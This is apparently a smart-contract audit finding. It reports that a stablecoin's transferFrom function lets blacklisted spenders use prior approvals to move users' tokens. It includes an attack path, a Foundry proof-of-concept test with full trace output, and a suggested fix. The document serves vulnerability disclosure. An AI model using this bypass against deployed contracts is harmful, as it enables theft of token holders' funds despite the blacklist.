Skip to content

Latest commit

 

History

History
270 lines (226 loc) · 16.2 KB

007.md

File metadata and controls

270 lines (226 loc) · 16.2 KB

Digital Macaroon Lobster

Medium

Blacklisted addresses will bypass blacklist restrictions and transfer tokens from users

Summary

In Stablecoin.sol, the _update function is overridden to prevent blacklisted users from interacting with the contract by reverting any transfer involving blacklisted from or to addresses:

function _update(
    address from,
    address to,
    uint256 value
) internal override {
    if (blacklisted(from)) revert Blacklisted(from);
    if (blacklisted(to)) revert Blacklisted(to);

    super._update(from, to, value);
}

However, the transferFrom function does not include a check for msg.sender being blacklisted. This missing check will cause unauthorized token transfers for users, as blacklisted addresses will use existing approvals to transfer tokens despite being blacklisted.

Root Cause

In Stablecoin.sol, the transferFrom function does not check if msg.sender is blacklisted, allowing blacklisted addresses to initiate token transfers.

Internal pre-conditions

  1. A user (user) approves the blacklisted address (hacker) to spend a certain amount of tokens by calling approve(hacker, amount).
  2. The hacker is added to the blacklist after the approval is made.

External pre-conditions

  1. Users have been tricked into approving allowances to the blacklisted address through phishing attacks or malicious websites.

Attack Path

  1. The user approves the hacker to spend tokens by calling approve(hacker, amount).
  2. The contract owner adds the hacker to the blacklist.
  3. Despite being blacklisted, the hacker calls transferFrom(user, hacker2, amount), transferring tokens from the user to another address (hacker2).
  4. The transfer succeeds because the transferFrom function does not check if msg.sender is blacklisted.

Impact

The users suffer an approximate loss of the tokens they had approved to the blacklisted address. The attacker gains unauthorized access to users' tokens despite being blacklisted, continuing malicious activities and potentially leading to significant financial losses for users.

Furthermore, this vulnerability allows attackers to exploit prior approvals even after being blacklisted. Attackers can trick users into granting allowances through phishing schemes or malicious transactions. Once blacklisted, they can still drain users' approved tokens, bypassing the blacklist's intended security measures and undermining regulatory compliance efforts.

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

import {Stablecoin} from "../src/stablecoin/Stablecoin.sol";

contract testBlacklist is Test {
    address owner;
    address hacker;
    address user;

    Stablecoin stablecoinInstance;

    function setUp() public {
        vm.createSelectFork("https://rpc.sepolia.org");

        owner = vm.addr(0x1);
        user = vm.addr(0x2);
        hacker = vm.addr(0x3);

        vm.startPrank(owner);
        stablecoinInstance = new Stablecoin();
        stablecoinInstance.initialize("Blacklist", "BL", 18);

        vm.stopPrank();
    }

    function test_poc_blacklistedCanCallTransferFrom() public {
        deal(address(stablecoinInstance), hacker, 1 ether);
        deal(address(stablecoinInstance), user, 10 ether);

        assertEq(stablecoinInstance.balanceOf(hacker), 1 ether);
        assertEq(stablecoinInstance.balanceOf(user), 10 ether);
        console.log("Before user balance: ", stablecoinInstance.balanceOf(user));
        console.log("Before hacker balance: ", stablecoinInstance.balanceOf(hacker));
        
        vm.prank(user);
        stablecoinInstance.approve(hacker, 5 ether);

        vm.startPrank(owner);
        stablecoinInstance.grantRole(keccak256("BLACKLISTER_ROLE"), owner);
        stablecoinInstance.addBlackList(hacker);
        vm.stopPrank();

        assertEq(stablecoinInstance.balanceOf(hacker), 0 ether);

        address hacker2 = vm.addr(0x4);

        vm.prank(hacker);
        stablecoinInstance.transferFrom(user, hacker2, 5 ether);
        assertEq(stablecoinInstance.balanceOf(hacker2), 5 ether);

        console.log("After user balance: ", stablecoinInstance.balanceOf(user));
        console.log("After hacker balance: ", stablecoinInstance.balanceOf(hacker));
        console.log("After hacker2 balance: ", stablecoinInstance.balanceOf(hacker2));

        vm.startPrank(user);
    }
}
$ forge test --mt test_poc_blacklistedCanCallTransferFrom -vvvv
[⠊] Compiling...
[⠒] Compiling 1 files with Solc 0.8.27
[⠢] Solc 0.8.27 finished in 2.08s
Compiler run successful!

Ran 1 test for test/testBlacklist.t.sol:testBlacklist
[PASS] test_poc_blacklistedCanCallTransferFrom() (gas: 474960)
Logs:
  Before user balance:  10000000000000000000
  Before hacker balance:  1000000000000000000
  After user balance:  5000000000000000000
  After hacker balance:  0
  After hacker2 balance:  5000000000000000000

Traces:
  [598963] testBlacklist::test_poc_blacklistedCanCallTransferFrom()
    ├─ [2713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
    │   └─ ← [Return] 0
    ├─ [0] VM::record()
    │   └─ ← [Return] 
    ├─ [713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
    │   └─ ← [Return] 0
    ├─ [0] VM::accesses(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2])
    │   └─ ← [Return] [0xf87bb5a322ec9f9c33e72fc9530beca6fcb304903bcda1bfe7adfe339d791b25], []
    ├─ [0] VM::load(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0xf87bb5a322ec9f9c33e72fc9530beca6fcb304903bcda1bfe7adfe339d791b25) [staticcall]
    │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
    ├─ emit WARNING_UninitedSlot(who: Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], slot: 112392162251855840595985412590026145694726450746947751294959586915981983292197 [1.123e77])
    ├─ [0] VM::load(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0xf87bb5a322ec9f9c33e72fc9530beca6fcb304903bcda1bfe7adfe339d791b25) [staticcall]
    │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
    ├─ [713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
    │   └─ ← [Return] 0
    ├─ [0] VM::store(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0xf87bb5a322ec9f9c33e72fc9530beca6fcb304903bcda1bfe7adfe339d791b25, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
    │   └─ ← [Return] 
    ├─ [713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
    │   └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]
    ├─ [0] VM::store(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0xf87bb5a322ec9f9c33e72fc9530beca6fcb304903bcda1bfe7adfe339d791b25, 0x0000000000000000000000000000000000000000000000000000000000000000)
    │   └─ ← [Return] 
    ├─ emit SlotFound(who: Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], fsig: 0x70a08231, keysHash: 0x90f3868889e9c35f122449b6d46f724593d4840bc389a326fc5597f4fc449615, slot: 112392162251855840595985412590026145694726450746947751294959586915981983292197 [1.123e77])
    ├─ [0] VM::load(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0xf87bb5a322ec9f9c33e72fc9530beca6fcb304903bcda1bfe7adfe339d791b25) [staticcall]
    │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
    ├─ [0] VM::store(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0xf87bb5a322ec9f9c33e72fc9530beca6fcb304903bcda1bfe7adfe339d791b25, 0x0000000000000000000000000000000000000000000000000de0b6b3a7640000)
    │   └─ ← [Return] 
    ├─ [713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
    │   └─ ← [Return] 1000000000000000000 [1e18]
    ├─ [2713] Stablecoin::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
    │   └─ ← [Return] 0
    ├─ [0] VM::record()
    │   └─ ← [Return] 
    ├─ [713] Stablecoin::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
    │   └─ ← [Return] 0
    ├─ [0] VM::accesses(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2])
    │   └─ ← [Return] [0x3993e48287367dabc19a5ffba3eabb052837a13645b1b52c1517c0e714e86d3d], []
    ├─ [0] VM::load(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0x3993e48287367dabc19a5ffba3eabb052837a13645b1b52c1517c0e714e86d3d) [staticcall]
    │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
    ├─ emit WARNING_UninitedSlot(who: Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], slot: 26043136004968317244021048316460545655838957131107445362374752473859958009149 [2.604e76])
    ├─ [0] VM::load(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0x3993e48287367dabc19a5ffba3eabb052837a13645b1b52c1517c0e714e86d3d) [staticcall]
    │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
    ├─ [713] Stablecoin::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
    │   └─ ← [Return] 0
    ├─ [0] VM::store(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0x3993e48287367dabc19a5ffba3eabb052837a13645b1b52c1517c0e714e86d3d, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
    │   └─ ← [Return] 
    ├─ [713] Stablecoin::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
    │   └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]
    ├─ [0] VM::store(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0x3993e48287367dabc19a5ffba3eabb052837a13645b1b52c1517c0e714e86d3d, 0x0000000000000000000000000000000000000000000000000000000000000000)
    │   └─ ← [Return] 
    ├─ emit SlotFound(who: Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], fsig: 0x70a08231, keysHash: 0x93562c47dd208bf59b95385890d6e963241da3c4f75bf68509ab7fabd9f467b4, slot: 26043136004968317244021048316460545655838957131107445362374752473859958009149 [2.604e76])
    ├─ [0] VM::load(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0x3993e48287367dabc19a5ffba3eabb052837a13645b1b52c1517c0e714e86d3d) [staticcall]
    │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
    ├─ [0] VM::store(Stablecoin: [0x1e52e407d6D7eEB69d522ecB23F7F7F5Ff9F8Df2], 0x3993e48287367dabc19a5ffba3eabb052837a13645b1b52c1517c0e714e86d3d, 0x0000000000000000000000000000000000000000000000008ac7230489e80000)
    │   └─ ← [Return] 
    ├─ [713] Stablecoin::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
    │   └─ ← [Return] 10000000000000000000 [1e19]
    ├─ [713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
    │   └─ ← [Return] 1000000000000000000 [1e18]
    ├─ [0] VM::assertEq(1000000000000000000 [1e18], 1000000000000000000 [1e18]) [staticcall]
    │   └─ ← [Return] 
    ├─ [713] Stablecoin::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
    │   └─ ← [Return] 10000000000000000000 [1e19]
    ├─ [0] VM::assertEq(10000000000000000000 [1e19], 10000000000000000000 [1e19]) [staticcall]
    │   └─ ← [Return] 
    ├─ [713] Stablecoin::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
    │   └─ ← [Return] 10000000000000000000 [1e19]
    ├─ [0] console::log("Before user balance: ", 10000000000000000000 [1e19]) [staticcall]
    │   └─ ← [Stop] 
    ├─ [713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
    │   └─ ← [Return] 1000000000000000000 [1e18]
    ├─ [0] console::log("Before hacker balance: ", 1000000000000000000 [1e18]) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] VM::prank(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF)
    │   └─ ← [Return] 
    ├─ [24831] Stablecoin::approve(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, 5000000000000000000 [5e18])
    │   ├─ emit Approval(owner: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF, spender: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, value: 5000000000000000000 [5e18])
    │   └─ ← [Return] true
    ├─ [0] VM::startPrank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    │   └─ ← [Return] 
    ├─ [29743] Stablecoin::grantRole(0x98db8a220cd0f09badce9f22d0ba7e93edb3d404448cc3560d391ab096ad16e9, 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    │   ├─ emit RoleGranted(role: 0x98db8a220cd0f09badce9f22d0ba7e93edb3d404448cc3560d391ab096ad16e9, account: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, sender: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    │   └─ ← [Stop] 
    ├─ [51975] Stablecoin::addBlackList(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69)
    │   ├─ emit Transfer(from: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, to: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, value: 1000000000000000000 [1e18])
    │   ├─ emit AddedBlacklist(user: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69)
    │   └─ ← [Stop] 
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ [713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
    │   └─ ← [Return] 0
    ├─ [0] VM::assertEq(0, 0) [staticcall]
    │   └─ ← [Return] 
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← [Return] 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718
    ├─ [0] VM::prank(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69)
    │   └─ ← [Return] 
    ├─ [30714] Stablecoin::transferFrom(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF, 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, 5000000000000000000 [5e18])
    │   ├─ emit Transfer(from: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF, to: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, value: 5000000000000000000 [5e18])
    │   └─ ← [Return] true
    ├─ [713] Stablecoin::balanceOf(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718) [staticcall]
    │   └─ ← [Return] 5000000000000000000 [5e18]
    ├─ [0] VM::assertEq(5000000000000000000 [5e18], 5000000000000000000 [5e18]) [staticcall]
    │   └─ ← [Return] 
    ├─ [713] Stablecoin::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
    │   └─ ← [Return] 5000000000000000000 [5e18]
    ├─ [0] console::log("After user balance: ", 5000000000000000000 [5e18]) [staticcall]
    │   └─ ← [Stop] 
    ├─ [713] Stablecoin::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
    │   └─ ← [Return] 0
    ├─ [0] console::log("After hacker balance: ", 0) [staticcall]
    │   └─ ← [Stop] 
    ├─ [713] Stablecoin::balanceOf(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718) [staticcall]
    │   └─ ← [Return] 5000000000000000000 [5e18]
    ├─ [0] console::log("After hacker2 balance: ", 5000000000000000000 [5e18]) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] VM::startPrank(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF)
    │   └─ ← [Return] 
    └─ ← [Stop] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.56s (4.54ms CPU time)

Mitigation

Add a blacklist check in the transferFrom function to prevent blacklisted addresses from initiating transfers:

function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
    if (blacklisted(msg.sender)) revert Blacklisted(msg.sender);
    _spendAllowance(from, msg.sender, amount);
    _transfer(from, to, amount);
    return true;
}

Ensure that all functions allowing token transfers or state changes include appropriate blacklist checks to prevent blacklisted addresses from interacting with the contract.